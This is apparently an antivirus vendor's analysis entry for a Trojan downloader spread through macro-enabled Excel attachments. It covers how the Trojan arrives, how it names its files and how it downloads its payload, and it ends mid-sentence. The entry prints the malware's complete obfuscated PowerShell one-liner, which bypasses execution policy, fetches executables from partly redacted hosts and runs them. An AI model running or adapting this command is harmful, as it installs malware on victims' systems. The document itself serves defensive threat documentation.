X2KM_DLOADR.YYSXQ

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

As of this writing, the said sites are inaccessible.

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

• http://{BLOCKED}yk.com/vol.exe
• http://{BLOCKED}p.com/news.exe

It saves the files it downloads using the following names:

• %Application Data%\{random numbers}.exe
  where {random numbers} can be randomly generated from 0 to 61132

(Note: %Application Data% is the Application Data folder, where it usually is C:\Documents and Settings\{user name}\Application Data on Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\AppData\Roaming on Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.)

As of this writing, the said sites are inaccessible.

Other Details

This Trojan does the following:

• It uses the following powershell command for its download routine:
  powErshell.exe -nOl -NoNiNt -WIndOws 1 -NoprOFIle -exEcu BYpaSs -Wi 1 -NOPr $random = New-Object System.Random; Foreach($um in @({http://{BLOCKED}yk.com/vol.exe},{http://{BLOCKED}p.com/news.exe})) { try { $fg = $random.next(0, 61132); $pp = '%appdata%\' + $fg + '.exe'; (new-object system.net.webclient).DownloadFile($um.ToString(), $pp); Start-Process $pp; break; } catch { Write-Host $error[0].Exception } }

NOTES:

The Microsoft Excel file contains the following fake details luring users to enable macro content: